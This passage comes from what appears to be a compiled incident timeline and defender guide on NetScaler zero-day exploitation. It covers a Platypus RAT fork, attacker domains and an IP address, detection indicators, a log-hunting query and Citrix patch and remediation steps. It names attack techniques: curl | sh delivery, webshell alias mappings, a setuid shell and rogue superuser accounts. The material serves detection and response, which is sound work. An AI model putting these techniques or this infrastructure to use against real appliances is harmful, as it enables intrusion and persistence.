    Binary Defense's Analysis on Demand and IR team details an intrusion against two NetScaler appliances where CVE-2026-88771/88772 exploitation delivered a private fork of the open-source Platypus RAT (cross-compiled for FreeBSD, packaged as .pl ELF masquerading as Perl, installed via curl | sh with a single-use token per appliance). The fork adds two modules with zero hits across 1,689 public Platypus commits: internal/agent/rootesc (active privilege escalation: sudo/sudo_gtfo abuse, rootexec, takeover_other, purge) and internal/agent/selfpersist (watchdog persistence, timestomping, cleanup, and masquerade identities like "System Health Monitor" and healthd). Agents were built 28 Sep 21:02 UTC; the C2 ingress certificate was issued the same evening 22:00 UTC. Infrastructure: five domains tied by platypus-ingress certificate thumbprints - entretiensol.com and white-guard.pro on 195.123.233.245 (the same server Cluster25 previously tied to a Havoc C2), gurerasfalt.com, garyvard.com and hickoryusedauto.com on the other TENEX C2 nodes; four .com domains were batch-bought on Namecheap within the same second on 20 Aug (aged-expired-domain technique), while white-guard.pro was registered 4 June via Moscow-based REG.RU as the protected tier. Key HA finding: httpd.conf, rc.netscaler, sshd_config and /nsconfig/ssh/ sync to the secondary within about a minute, but webshell directories (/var/netscaler/gui/, /netscaler/ns_gui/, /var/vpn/) do not - both nodes must be triaged separately. Binary Defense gives a lower-confidence profile of financially motivated intrusion operators or initial access brokers in Eastern European/CIS jurisdictions - contrasting with the earlier nation-state/China-nexus characterisations of the Platypus cluster by Beaumont and eSentire/Lumen. Hunting: JARM 40d40d40d0..., three cert thumbprints, masquerade filenames .ns_09343.pl / ns_827664.pl, and a Windows agent (unpacked hash 3754689f..., UPX-packed delivered build consistent with the already-listed 0dcac605...).

    Sources: ^[60]

99. Oct 13 Research

    NCSC-NZ updates its alert with CVE-2026-107406; MS-ISAC and CIS both state no exploitation reported; CERT-FR advisers formally

    New Zealand's NCSC updates its 28 Sep alert (14 Oct local time) with CVE-2026-107406, telling organisations patched per the original advisory that they are still vulnerable to it and that patching is not sufficient to remediate compromised systems. CERT-FR publishes avis CERTFR-2026-AVI-1285 (9 Oct) referring to CTX697191. MS-ISAC advisory 2026-110 and the CIS advisory both state there are currently no reports of CVE-2026-107406 being exploited in the wild, consistent with Citrix, CISA (alert revision, not KEV) and Previdian sensor telemetry (zero attempts).

    Sources: ^[9][7][8]

Detection and hunting for NetScaler compromise

In short: review httpd.conf for PHP handler and AliasMatch changes, look for PHP files in VPN script and media directories, check /bin/sh for setuid, and correlate DTLSv1.0 handshake failures with NSPPE crashes. watchTowr's honeypot analysis (7 Oct) adds the behavioral patterns its sensors saw most: the poisoned log line itself (pitboss ... PPE ... unexpectedly died / missed too many heartbeats followed by shell metacharacters), the stylesheet webshell (Alias/AliasMatch mapping ...style.min.<hex>.css to a hidden dotfile, bursts of POSTs to /logon/LogonPoint/css/*), unexpected egress DNS/HTTP from the appliance to OOB domains, and rogue superuser accounts in /flash/nsconfig/ns.conf such as gw_health. Sources: GTIG/Mandiant, CERT-EU, GreyNoise and watchTowr, as of 9 October 2026. ^[51][39][44]

dataset = citrix_adc_raw // replace with citrix_netscaler_raw if required
| filter _raw_log contains "pitboss"
| alter log_type = arrayindex(regextract(_raw_log, "<[^>]+>(?:[A-Za-z]{3}[ ]+[0-9]{1,2}[ ]+|[ ]+[0-9]{2}/[0-9]{2}/[0-9]{4}:)[0-9]{2}:[0-9]{2}:[0-9]{2}.+default ([\w]+)"), 0),
log_sub_type = arrayindex(regextract(_raw_log, "<[^>]+>(?:[A-Za-z]{3}[ ]+[0-9]{1,2}[ ]+|[ ]+[0-9]{2}/[0-9]{2}/[0-9]{4}:)[0-9]{2}:[0-9]{2}:[0-9]{2}.+default [\w]+ ([\w]+)"), 0),
command_attempted = arrayindex(regextract(_raw_log, "pitboss PPE unexpectedly died NSPPE(?:\-00|)\;(.+)\>, factor"), 0)
| filter command_attempted != null
| comp earliest(_time) as first_seen, latest(_time) as last_seen, values(log_type) as log_type, count() by command_attempted

Remediation: patching NetScaler ADC and Gateway

In short: check for compromise and preserve evidence first, then upgrade to 14.1-73.46 or 13.1-64.29 or later (FIPS/NDcPP builds below) - one upgrade that covers CTX697096, CVE-2026-88779 and CVE-2026-107406, per Citrix as of 9 October 2026. Patching does not remove an existing backdoor. ^[4]

CVE-2026-107406 (8 Oct): SAML deployments must upgrade again - a third time. Citrix published CTX697191 for a SAML memory overflow leading to remote code execution or denial of service, CVSS v4.0 9.5. On the builds fixed for the earlier bulletins (14.1-73.37 to 73.41, 13.1-64.23 to 64.28 and the FIPS/NDcPP equivalents) only an appliance configured as a SAML IdP (add authentication samlIdPProfile) is affected; on older builds a SAML SP (add authentication samlAction) or IdP. The 73.46 / 64.29 / 37.283 generation fixes everything at once. The bulletin lists no workaround. Citrix says - per secondary coverage of its customer guidance - that it is not aware of any unmitigated exploits, and the CVE is not in CISA KEV. ^[4][104]

Fixed builds (Citrix CTX697096, CTX697174 and CTX697191)

Source: Citrix CTX697096, CTX697174 and CTX697191. Use the bulletins as the authority for which build applies to your deployment.

13.1 upgrades: watchTowr advises running show ns variable first. If it returns any variables, use 13.1-64.24 to avoid a known reboot loop during the upgrade; Citrix lists this as a known issue in 13.1-64.23, not a vulnerability. ^[121][13] CVE-2026-88778 is fixed by enabling Enhanced ISN Generation, not by the upgrade alone. ^[30]

Other notes from Citrix: the NetScaler VPX 15.1 Technology Preview is also vulnerable. It is not permitted in production and Citrix says a fix will follow. The Console Security Advisory scan may wrongly flag 13.1-64.23 as vulnerable until the next automatic advisory update, with no need to upgrade Console. samlRejectUnsignedAssertion OFF is no longer supported and is converted to the secure default on upgrade, so make sure your identity provider signs SAML assertions. ^[13]

Cloudflare WAF: Cloudflare shipped an emergency managed rule on 1 October that blocks the CVE-2026-88771 improper-input-validation pattern. It covers only that CVE, and Cloudflare itself says to apply the latest versions to secure the origin. Treat it as a stopgap for appliances that sit behind Cloudflare, not a substitute for patching or a compromise check. ^[113]

Secure Private Access: Citrix says Secure Private Access Hybrid deployments that use NetScaler instances are also affected, so those instances need the same upgrade. The bulletin applies only to customer-managed NetScaler ADC and Gateway; Citrix upgrades its own managed cloud services and Citrix-managed Adaptive Authentication. ^[1]

End-of-life releases: NetScaler ADC and Gateway 12.1 and 13.0 are end of life, receive no fix and are likely vulnerable. Migrate them to a supported release. ^[32][84]

The bulletin is inconsistent about the last build. Its fixed-builds list says 13.1.37.279, while its affected-versions list says "FIPS and NDcPP BEFORE 13.1-37.279". Truesec and IFIN use 13.1-37.279. The table above keeps Citrix's fixed-builds wording exactly.

After patching

1. Check for compromise and preserve evidence before you patch. Mandiant's CTO, Charles Carmakal, says customers should examine their systems for compromise *before* upgrading/patching. ^[122] Unit 42 lists the evidence to capture: ^[123]
   • a NetScaler VPX instance snapshot
   • logs on remote syslog servers and in NetScaler Console
   • a technical support bundle
   • a packet engine core dump
   Patching and restarting can destroy this evidence. Citrix lists the same items and also says to record the system time, timezone and NTP settings first. ^[12]
2. Patch to a fixed build from the table above.
3. Hunt for compromise. Check for:
   • webshells, including the GreyNoise path and alias above
   • changes to httpd.conf, such as an unexpected AliasMatch
   • unusual permissions on /bin/sh, such as setuid or setgid
   Use the CERT-EU and CIRCL guidance. ^[39][33][77]
4. If compromise is suspected or confirmed, Citrix's CTX694799 says to:
   • take the appliance off the network;
   • change every secret stored on it on the systems it talks to (LDAP and RADIUS secrets, OAuth tokens, API keys, SNMP community names) and the passwords of users who signed in through it, and revoke its certificates and private keys;
   • check the servers and systems it connected to, especially authentication servers and management jump hosts;
   • rebuild rather than clean: replace a VPX instance, wipe and reinstall an MPX, upgrade the firmware, then restore a known good configuration backup that pre-dates the compromise;
   • rotate the local passwords and key encryption keys again after the restore, replace the restored certificates, and monitor closely for at least 90 days.
   Citrix says management services should never be exposed to the internet, and to consult legal counsel before rebuilding if law enforcement may become involved. ^[12]
5. Assume activity may be weeks old. Beaumont says slow disclosure means attackers have been active for weeks. ^[89]

Patching closes the vulnerabilities. It does not reverse a compromise that already happened. This page does not give remediation commands or guarantees. Follow Citrix and your national CSIRT.

NetScaler zero-day FAQ

References

Bracketed numbers in the text, such as ^[1], point to the rows below. Every link below is the exact URL from the compiled dataset. IFIN, Truesec, GTIG/Mandiant, Nextron, The Register, Unit 42, the Dutch government letter, two more Beaumont posts, the CVE record, a second BleepingComputer article, the Canada, HKCERT and ACSC advisories, eSentire, Beazley Security Labs, Ingeniøren, DKCERT, NHS England, the CERT-EU advisory, SDxCentral, heise, Dark Reading, Lupovis's own post, and the Censys, Shadowserver, Lupovis, Beazley, Corelight, Elastic, Sigma and Nuclei material were added later, on 29 September. Links marked verification pending did not load in an automated check at build time. The URL has been kept unchanged, not replaced. For all other links, the check only showed that the page loaded, not that its content was reviewed.